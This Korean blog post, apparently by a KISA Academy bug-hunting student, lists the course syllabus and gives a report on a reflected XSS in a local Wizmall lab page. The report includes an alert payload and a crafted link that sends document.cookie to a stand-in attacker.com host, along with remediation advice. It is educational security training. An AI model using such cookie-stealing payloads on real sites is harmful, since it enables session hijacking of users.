Post

[KISA Academy] 2024년 버그헌팅 실습훈련 초급과정 12차

시작

실습을 먼저 하고 이론을 공부해버리는 아이러니한 상황이지만 역시 기초를 들으니 너무 좋다! 확실히 어디서 부터 시작해야하는지 알 수 있게 되었다

일단 강의는 다 들었으나 아직 들어야 하는 강의가 남아있어 한번 다 듣고 소강상태가 되면 기록을 시작할 것 같다.

이제 딱 까먹을 때 즘 다시 기록하면서 머리에 새기는 것!

버그헌팅 초급강의 목표 및 목차

버그헌팅 소개 - 강사 소개, 버그헌팅 소개

버그헌팅 소개 - 버그헌팅 프로그램 발전, 버그헌팅 프로그램 종류

버그헌팅 소개 - 취약점 공개정책, 버그헌팅 플랫폼 종류

윤리적해킹 기본 - 윤리적해킹의 중요성, 해커의 종류

버그헌팅 이해 - 취약점 리스트 정량화 산정방법, 마인드 관리

버그헌팅 초급강의 - Public 실습 - 버그헌팅 초급강의- Public 실습

웹 기본 이해 - 웹 어플리케이션 작동원리

웹 기본 이해 - 클라이언트와 서버 통신원리 이해

웹 기본 이해 - 인증,인가, 입력값 검증 등의 보안 매커니즘 이해

웹 취약점 이해 - OWASP Top 10 취약점 이해 및 공격 방법(IDOR, SQLI, XSS, CSRF, LFI/RFI/SSRF…)

웹 취약점 이해 - 웹 취약점의 영향 및 위협

웹 취약점 버그헌팅 사례 - IDOR / XSS / Path Traversal / SQLI / SSRF 버그헌팅 사례 소개

웹 취약점 버그헌팅 사례 - 자동화 도구 실습

CVE의 이해 - CVE 정의 및 목적, 이해 및 활용 , 실습

CVE 버그헌팅 사례 - 익스플로잇 코드 탐색 및 활용

CVE 버그헌팅 사례 - 최근 CVE 취약점 분석과 이해

CVE 버그헌팅 사례 - CVE 취약점 버그헌팅 사례

버그헌팅 정보수집 전략 - OSINT를 활용한 Domain 및 Sub Domain 수집

ChatGPT 버그헌팅 - 대화형 언어모델, ChatGPT 활용 추세

ChatGPT 버그헌팅, 리포트 작성 전략 - ChatGPT 버그헌팅 활용사례, 좋은 리포트란, 마크다운 사용법 등

취약점 실습 환경(Wizmall)구축과 방법 - 취약점 실습 환경(Wizmall)구축과 방법

사후 테스트

마지막 보고서 (2024-10-26)

Reflected XSS in http://127.0.0.1/wizbag.php?cuid=

개요

본 보고서는 http://127.0.0.1/wizbag.php에서 발견된 XSS (Cross-Site Scripting) 취약점에 대해 설명합니다. cuid 파라미터를 통해 공격자가 악의적인 스크립트를 주입하여 브라우저에서 실행될 수 있는 취약점이 확인되었습니다.

취약점 세부 사항

URL:

http://127.0.0.1/wizbag.php

Method:

GET

Vulnerable Parameter:

cuid

Payload:

'><script>alert(1);</script>

공격 시나리오

이 취약점은 공격자가 cuid 파라미터를 조작하여 악성 스크립트를 주입하는 것을 가능하게 합니다. 이를 통해 공격자는 피해자의 브라우저에서 임의의 자바스크립트를 실행할 수 있으며, 다음과 같은 시나리오로 공격이 가능합니다.

예를 들어, 공격자가 URL을 http://127.0.0.1/wizbag.php?cuid=%27%3E%3CscrIpt%3Ealert(1)%3B%3C/scRipt%3E로 조작하여 피해자가 클릭하게 만들면, 피해자의 브라우저에서 alert(1)이 실행됩니다. 이 외에도 아래와 같은 방식으로 사용자의 민감한 정보를 탈취할 수 있습니다:

  • 쿠키 탈취
  • 브라우저 세션 하이재킹
  • 악성 사이트로 리다이렉트

PoC (Proof of Concept)

다음은 취약점을 재현하기 위한 URL입니다:

1
http://127.0.0.1/wizbag.php?cuid=%27%3E%3CscrIpt%3Ealert(1)%3B%3C/scRipt%3E

이 URL을 통해 브라우저에서 alert(1)이 실행되는 것을 확인할 수 있습니다.

image

로그인 세션 탈취 시나리오

  1. 취약점 발견 및 공격 준비

공격자가 웹 애플리케이션의 특정 페이지에서 cuid 파라미터에 XSS 페이로드를 주입하면 스크립트가 실행된다는 사실을 확인합니다.

  1. 악성 링크 생성

공격자는 URL을 악성 페이로드로 수정하여 세션 쿠키를 탈취하도록 변경합니다.

예시로는 다음과 같은 링크를 만들 수 있습니다.

1
http://127.0.0.1/wizbag.php?cuid=%27%3E%3CscrIpt%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2FscRipt%3E

이렇게 만들어진 링크는 피해자가 접속 할 경우 피해자의 세션 쿠키가 attacker.com/steal.php로 전송되게 조작합니다.

  1. 피해자 선정 및 세션 탈취

공격자는 피해자를 선정하여 이메일, SNS, 피싱 메시지 등을 통해 전송하여 클릭을 유도할 수 있습니다.

피해자가 링크에 들어오게 되면 세션 쿠키를 탈취하여 피해자의 세션에 접속해 로그인 없이 피해자의 계정에 접근할 수 있게 됩니다.

해결 방안

사용자 입력에 대한 HTML 및 자바스크립트 엔티티 인코딩을 수행하여 스크립트 실행을 방지합니다. 취약한 페이지에 CSP(Content Security Policy)를 적용하여 스크립트 실행을 제한합니다. XSS 필터링을 강화하거나 최신 웹 애플리케이션 방화벽(WAF)을 사용하여 악의적인 스크립트 주입을 탐지 및 차단합니다.

참조 표

|항목|상세 정보| |:—:|:—:| |발견일|2024-10-26| |취약점 유형|Reflected XSS| |위험도|CRITICAL 8.0</br>CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| |영향을 받는 URL|http://127.0.0.1/wizbag.php|

주의: 본 보고서는 보안 연구 목적으로 작성되었습니다. 제공된 정보를 이용한 모든 행위에 대한 책임은 사용자에게 있습니다.

기타

본 보고서는 해당 취약점을 확인하고 개선하기 위한 목적으로 작성되었습니다. 추가적인 질문이나 필요한 정보가 있으면 언제든지 연락해 주시기 바랍니다.

This post is licensed under CC BY 4.0 by the author.